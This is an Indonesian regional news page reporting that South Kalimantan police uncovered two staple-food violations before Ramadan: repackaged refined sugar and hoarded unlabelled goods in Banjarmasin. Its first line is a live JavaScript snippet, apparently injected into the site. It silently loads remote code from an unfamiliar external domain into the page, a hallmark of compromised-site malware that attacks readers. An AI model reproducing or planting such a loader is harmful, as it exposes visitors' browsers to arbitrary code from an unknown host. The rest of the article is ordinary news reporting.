(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Jelang Ramadhan Dua Penyimpangan Sembako Diungkap Reskrimsus Polda Kalsel


BANJARMASIN, Jelang bulan suci Ramadhan 1439 Hijriyah, Tim Satgas Polda Kalimantan Selatan turun ke lapangan. Menindaklanjuti instruksi Kepala Bareskrim Mabes Polri Komjen Pol Drs H Ari Dono Sukmanto SH MSi dalam upaya pencegahan dan penanggulangan penyimpangan bahan pokok (Sembako). Dari giat yang dilakukan Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan terbukti masih ditemukan dugaan penyimpangan distribusi yang dilakukan pelaku usaha.

Direktur Reskrimsus Polda Kalsel Kombes Pol Rizal Irawan SIK SH MH, saat Press Conference Senin (30/4) mengungkapkan, ada dua kasus yang berhasil dibongkar pihaknya dalam sepekan ini. Salah satunya bongkar muat dari kontainer ke gudang milik Haji FR yang terletak di Komplek Pergudangan 88 Jalan Gubernur Soebarjo, Kelurahan Basirih Selatan, Kecamatan Banjarmasin Selatan, Kota Banjarmasin dengan modus pelaku usaha mengganti kemasan dari karung gula kristal rafinasi produksi PT BMM ke dalam karung merek Raja Gula. Barang bukti yang ditemukan 50 KG tanpa merek sebanyak 10 sak, 388 sak merek Raja Gula,  94 sak karung polos tanpa merek, 3 unit mesin jahit karung serta 5 rol benang benang yang menyalahi aturan.

Dir Reskrimsus Polda Kalsel juga mengungkap kasus dugaan penimbunan barang berbagai merk di Toko Bread Mart Jalan AES Nasution No 17 RT 008 RW 10 Kelurahan Gadang, Kecamatan Banjarmasin Tengah, Kota Banjarmasin pada Rabu (25/4).

“Dalam toko ini, ditemukan sebanyak 344 item dengan  jumlahnya 2.700 pcs bahan makanan,  serta makanan dan minuman sebanyak  115 sak tanpa label. Untuk kasus ini, pemilik toko ditetapkan sebagai tersangka dan dijerat Pasal 62 ayat (1) Jo Pasal 8 ayat (1) huruf (g) dan huruf (i) UU RI No.8 Tahun 1999 tentang Perlindungan Konsumen dengan Ancaman hukuman 5 (lima) tahun penjara dan denda Rp 2 miliar,” tegas Kombes Pol Rizal Irawan.

Dir Reskrimsus Polda Kalsel ini mengimbau agar masyarakat lebih teliti sebelum membeli dengan melihat label produk yang dijual, terutama kedaluwarsa.  “Apalagi, kejadian semacam ini selalu berulang jelang Ramadhan dan Hari Raya Idul Fitri,” tandasnya. (ammar)

Reporter: Ammar
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

9 menit ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

2 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

3 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

4 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

5 jam ago

Kasus Cuci Uang Narkoba, Ayah Fredy Pratama Tak Ajukan Banding

KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More

5 jam ago

This website uses cookies.